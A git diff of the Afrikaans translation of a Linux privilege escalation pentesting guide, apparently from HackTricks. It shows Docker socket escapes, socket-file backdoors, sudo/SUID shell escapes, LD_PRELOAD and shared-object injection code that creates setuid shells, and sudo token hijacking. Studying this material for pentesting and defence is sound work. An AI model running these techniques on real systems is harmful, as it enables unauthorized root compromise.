enkele service unit onvoorwaardelik alle inkomende verkeer hanteer. **Standaard: false**. Vir prestasieroetes word aanbeveel om nuwe daemons slegs so te skryf dat dit geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs onderskeidelik **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolgd deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs onderskeidelik **gesluit** en verwyder is. -- `Service`: Spesifiseer die naam van die **service**-unit wat **geaktiveer moet word** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit verstek na die service wat dieselfde naam dra as die socket (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### Skryfbare .socket-lêers +### Writable .socket files -As jy 'n **skryfbare** `.socket`-lêer vind kan jy **byvoeg** aan die begin van die `[Socket]`-afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Skryfbare sockets +### Writable sockets -As jy 'n **skryfbare socket** identifiseer (_nou praat ons oor Unix Sockets en nie oor die konfigurasie `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid uitbuit. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Enumereer Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Rou verbinding +### Ruwe verbinding ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -474,7 +498,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Voorbeeld van uitbuiting:** {{#ref}} @@ -483,28 +507,28 @@ socket-command-injection.md ### HTTP sockets -Let wel dat daar dalk sommige **sockets wat na HTTP-versoeke luister** is (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit kontroleer met: +Let daarop dat daar dalk sommige **sockets listening for HTTP** requests is (_Ek praat nie oor .socket files nie, maar oor die lêers wat as unix sockets optree_). Jy kan dit nagaan met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die socket **reageer op 'n HTTP** versoek, kan jy daarmee **kommunikeer** en dalk **misbruik 'n kwesbaarheid**. +As die socket **responds with an HTTP** request, kan jy daarmee **communicate** en dalk **exploit some vulnerability**. ### Skryfbare Docker Socket -Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes indien die Docker CLI nie beskikbaar is nie. +Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. By verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê, kan tot privilege escalation lei. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. #### **Privilege Escalation with Docker CLI** -As jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende opdragte te gebruik: +Indien jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende commands te gebruik: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte laat jou toe om 'n container te begin met root-vlak toegang tot die gasheer se lêerstelsel. +These commands allow you to run a container with root-level access to the host's file system. -#### **Gebruik die Docker API direk** +#### **Gebruik van Docker API direk** -In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog steeds gemanipuleer word deur die Docker API en `curl` opdragte te gebruik. +In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds manipuleer word deur die Docker API en `curl`-opdragte. 1. **List Docker Images:** Haal die lys van beskikbare images op. @@ -512,19 +536,19 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids moun. +2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheer se root-direktorie mount. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Begin die pas geskepte container: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container tot stand te bring, wat die uitvoering van opdragte binne dit moontlik maak. +3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat dit moontlik maak om opdragte binne die container uit te voer. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,13 +558,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nadat die `socat`-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. +Nadat die `socat`-verbinding gevestig is, kan jy opdragte direk in die container uitvoer met root-level toegang tot die gasheer se lêerstelsel. ### Ander -Let wel dat as jy skryfpermissies oor die docker socket het omdat jy **inside the group `docker`** is, jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Let wel dat as jy skryfregte oor die docker socket het omdat jy **inside the group `docker`** is jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Kyk na **meer maniere om uit docker uit te breek of dit te misbruik om privileges te eskaleer** in: +Kyk na **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -567,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde inter-Process Communication (IPC) stelsel wat toepassings toelaat om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde inter-proses kommunikasie (IPC) stelsel wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. -Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsaa van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp om die gebruikerservaring te verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en prosesse bewerkstellig wat tradisioneel kompleks was. +Die stelsel is veelsydig: dit ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit om gebeure of seine uit te saai, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp om die gebruikerservaring te verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel wat diensversoeke en metode-invoerings tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn. -D-Bus werk op 'n allow/deny-model en bestuur boodskappermissies (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik tot privilege escalation lei deur die uitbuiting van hierdie toestemmings. +D-Bus werk op 'n allow/deny-model en bestuur boodskappermissies (metode-oproepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik tot privilege escalation lei deur die uitbuiting van hierdie permissies. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat permissies vir die root-gebruiker beskryf om te besit, na te stuur en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. +'n Voorbeeld van so 'n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat permissies uiteensit vir die root-gebruiker om met `fi.w1.wpa_supplicant1` eigenaar te wees, na te stuur en boodskappe daarvan te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep is universeel van toepassing, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -584,7 +608,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de ``` -**Leer hoe om 'n D-Bus communication te enumerate en te exploit hier:** +**Leer hoe om enumerate en exploit ’n D-Bus communication hier:** {{#ref}} @@ -593,7 +617,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Netwerk** -Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind. +Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien vas te stel. ### Generiese enumeration ```bash @@ -618,24 +642,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Oop poorte +### Open ports -Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang verkry het nie: +Kontroleer altyd netwerkdienste wat op die masjien loop en wat jy voor toegang nie kon benader nie: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Kontroleer of jy verkeer kan sniff. As jy dit kan doen, kan jy dalk credentials bekom. +Kyk of jy traffic kan sniff. As jy dit kan, kan jy dalk 'n paar credentials kry. ``` timeout 1 tcpdump ``` -## Gebruikers +## Users -### Generiese Enumerasie +### Generic Enumeration -Kontroleer **who** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter kan **login** en watter het **root privileges**: +Kontroleer **wie** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter van hulle kan **login** en watter het **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -659,12 +683,12 @@ gpg --list-keys 2>/dev/null ``` ### Groot UID -Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om hul bevoegdhede te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om voorregte te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Benut dit** met: **`systemd-run -t /bin/bash`** ### Groepe -Kontroleer of jy 'n **lid van 'n groep** is wat jou root-bevoegdhede kan gee: +Kontroleer of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee: {{#ref}} @@ -673,7 +697,7 @@ interesting-groups-linux-pe/ ### Klembord -Kontroleer of iets interessant in die klembord is (indien moontlik) +Kyk of daar iets interessant in die klembord is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,27 +714,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekende wagwoorde -As jy **enige wagwoord** van die omgewing **ken**, probeer om as elke gebruiker daarmee aan te meld. +As jy **enige wagwoord** van die omgewing ken, **probeer by elke gebruiker aanmeld** met daardie wagwoord. ### Su Brute -As jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +As jy nie omgee om baie geraas te veroorsaak en die `su` en `timeout` binaries op die rekenaar teenwoordig is nie, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. ## Skryfbare PATH-misbruik ### $PATH -As jy vind dat jy kan **skryf binne 'n gids in die $PATH** kan jy moontlik bevoegdhede eskaleer deur **'n backdoor binne die skryfbare gids te skep** met die naam van 'n kommando wat deur 'n ander gebruiker (ideaal root) uitgevoer gaan word en wat **nie vanaf 'n gids gelaai word wat voor jou skryfbare gids in $PATH geleë is nie**. +As jy ontdek dat jy **in 'n gids van die $PATH kan skryf**, kan dit dalk moontlik wees om bevoegdhede te eskaleer deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n kommando wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie vanaf 'n gids wat voor jou skryfbare gids in die $PATH geleë is gelaai word nie**. ### SUDO and SUID -Jy mag toegelaat word om sekere opdragte met sudo uit te voer of hulle kan die suid bit hê. Kontroleer dit met: +Jy mag toegelaat word om sekere opdragte met sudo uit te voer, of sommige kan die suid-bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Sommige **onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer.** Byvoorbeeld: +Sommige **onverwagte commands laat jou toe om lêers te lees en/of te skryf of selfs 'n command uit te voer.** Byvoorbeeld: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -727,7 +751,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou maklik om 'n shell te kry deur 'n ssh key in die root-gids by te voeg of deur `sh` op te roep. ``` sudo vim -c '!sh' ``` @@ -739,11 +763,11 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwetsbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die script as root uitgevoer is: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwetsbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer is: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: paaie om uitvoering te omseil +### Sudo: omseiling van uitvoeringspaaie **Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash @@ -755,7 +779,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -As 'n **wildcard** gebruik word (\*), is dit selfs makliker: +As **wildcard** gebruik word (\*), is dit selfs makliker: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -764,37 +788,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary without command path -Indien die **sudo permission** aan 'n enkele opdrag gegee word **without specifying the path**: _hacker10 ALL= (root) less_ kan jy dit exploit deur die PATH variable te verander +As die **sudo toestemming** aan 'n enkele command **sonder om die pad te spesifiseer** gegee word: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH variable te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander opdrag uitvoer sonder om die pad daartoe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander opdrag uitvoer sonder om die pad daarvan te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary met die pad van die opdrag +### SUID binary met opdragpad -As die **suid** binary **'n ander opdrag uitvoer en die pad daarvoor spesifiseer**, kan jy probeer om 'n **export a function** te skep met dieselfde naam as die opdrag wat die suid-lêer aanroep. +Indien die **suid** binary **'n ander opdrag uitvoer en die pad spesifiseer**, kan jy probeer om **export a function** met dieselfde naam as die opdrag wat die suid-lêer aanroep. -Byvoorbeeld, as 'n suid binary calls _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te exporteer: +Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te export: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word +Dan, wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader vóór alle ander, insluitend die standaard C-biblioteek (`libc.so`), gelaai moet word. Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. -Om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes: +Om egter stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af: -- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie. +- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruiker-ID (_ruid_) nie ooreenstem met die effektiewe gebruiker-ID (_euid_) nie. - Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is voorafgelaai. -Privilege escalation kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewingsveranderlike voortbestaan en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitraire kode met verhoogde regte. +Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behoue bly en erken word, selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van ewekansige kode met verhoogde voorregte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -811,17 +835,17 @@ setuid(0); system("/bin/bash"); } ``` -Dan **kompileer dit** met: +Dan **compile dit** met behulp van: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Uiteindelik, **escalate privileges** deur dit uit te voer +Laastens, **escalate privileges** deur dit uit te voer ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. +> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env-variabele beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. ```c #include #include @@ -843,13 +867,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wanneer jy 'n binary met **SUID** permissies teëkom wat ongewone voorkom, is dit goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy op 'n binary met **SUID** permissions stuit wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, die voorkoms van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiële uitbuitingsgeleentheid. +Byvoorbeeld, die teëkoms van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiaal vir exploitation. -Om dit uit te buit, sal mens voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit te exploit, sal 'n mens voortgaan deur 'n C file te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende code bevat: ```c #include #include @@ -860,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. +Hierdie kode, sodra dit gekompileer en uitgevoer is, poog om privileges te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde privileges uit te voer. -Komileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met: +Kompileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat 'n potensiële kompromittering van die stelsel moontlik maak. +Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat potensiële system compromise moontlik maak. ## Shared Object Hijacking ```bash @@ -878,7 +902,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Aangesien ons nou 'n SUID binary gevind het wat 'n library uit 'n folder laai waarin ons kan skryf, kom ons skep die library in daardie folder met die nodige naam: +Nou dat ons 'n SUID binary gevind het wat 'n library laai vanaf 'n gids waar ons in kan skryf, kom ons skep die library in daardie gids met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -895,13 +919,13 @@ As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Dit beteken dat die biblioteek wat jy gegenereer het 'n funksie genaamd `a_function_name` moet hê. +dit beteken dat die biblioteek wat jy gegenereer het `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan injekteer** in 'n opdrag. +[**GTFOBins**](https://gtfobins.github.io) is 'n gekureerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **only inject arguments** in 'n command. -Die projek versamel geldige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, privilegies te eskaleer of in stand te hou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation tasks te fasiliteer. +Die projek versamel legitieme funksies van Unix binaries wat misbruik kan word om restricted shells te ontsnap, voorregte op te skaal of verhoogde voorregte te behou, lêers oor te dra, bind and reverse shells te spawn, en ander post-exploitation take te vergemaklik. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,50 +944,51 @@ https://gtfoargs.github.io/ ### FallOfSudo -As jy toegang tot `sudo -l` het kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit 'n manier vind om enige sudo-reël te misbruik. +As jy toegang tot `sudo -l` het, kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-regel uit te buit. ### Reusing Sudo Tokens -In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privilegies eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessie-token te kaap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte op te skaal deur **te wag vir 'n sudo-opdrag-uitvoering en dan die sessie-token te kaap**. -Vereistes om privilegies te eskaleer: +Vereistes om voorregte op te skaal: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` sonder om enige wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15 minute** (by default is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is toeganklik (jy kan dit oplaai) +- `gdb` is toeganklik (jy sal dit kan oplaai) -(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of dit permanent maak deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) +(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) -As al hierdie vereistes voldaan is, **kan jy privilegies eskaleer deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +As al hierdie vereistes nagekom is, **kan jy voorregte op te skaal met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Die **first exploit** (`exploit.sh`) sal die binêr `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die **sudo token in jou sessie te aktiveer** (jy kry nie outomaties 'n root shell nie, doen `sudo su`): +- Die **first exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die sudo-token in jou sessie **te aktiveer** (jy sal nie outomaties 'n root-shell kry nie, doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat deur root besit word en setuid het. +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat **deur root besit word met setuid**. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers file skep** wat **sudo 